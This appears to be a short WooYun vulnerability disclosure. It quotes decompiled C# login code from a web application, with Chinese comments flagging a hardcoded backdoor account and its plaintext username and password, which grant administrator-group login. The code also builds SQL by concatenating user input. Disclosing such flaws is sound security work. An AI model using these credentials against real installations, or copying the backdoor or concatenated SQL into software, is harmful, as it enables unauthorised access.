WooYun.org

context.Response.ContentType = "text/plain";
        var _form_ = context.Request.Form;
        
        var uid = _form_["uid"];
        var pwd = _form_["pwd"];
        var rem = _form_["rem"];
        if (uid=="")
        {
            context.Response.Write("请输入用户名");
            return;
        }
        if (pwd == "")
        {
            context.Response.Write("请输入密码");
            return;
        }
        DataManage.UserEng ueng = new DataManage.UserEng();
var t = ueng.Login(uid, pwd, rem.ToLower() == "true");  //UserEng类的Login方法就是用来登录的

public UserLogin Login(string uid, string upwd, bool rem)
        {
            UserLogin result;
            if (uid == "apwmaster_D7" && upwd == "apwmaster_d7")  //后门账户的用户名、密码！！！
            {
                IList<Apw_User> all = this.dataserver.GetAll<Apw_User>(EngSql.Ene("userlogin", "'" + uid + "'"));
                if (all.Count < 1)
                {
                    IList<Apw_User> all2 = this.dataserver.GetAll<Apw_User>("select * from Apw_User where u_GroupID in (select ID from SU_Group where gp_Key like '%sys_security%' and gp_Key like '%login_boss%')");
                    if (all2.Count < 1)
                    {
                        result = UserLogin.NoUser;
                        return result;
                    }
                    Apw_User apw_User = all2[0];
                    string strString = string.Concat(new object[]
                    {
                        apw_User.u_Account,
                        "$",
                        apw_User.u_RealName,
                        "$",
                        apw_User.u_Text,
                        "$",
                        apw_User.ID
                    });
                    string strValue = Utility.Encrypt3DES(strString, UserEng.lizablePwd);
                    Utility.SetCookie(UserEng.lizableName, strValue, 3);
                    result = UserLogin.OK;
                    return result;
                }
            }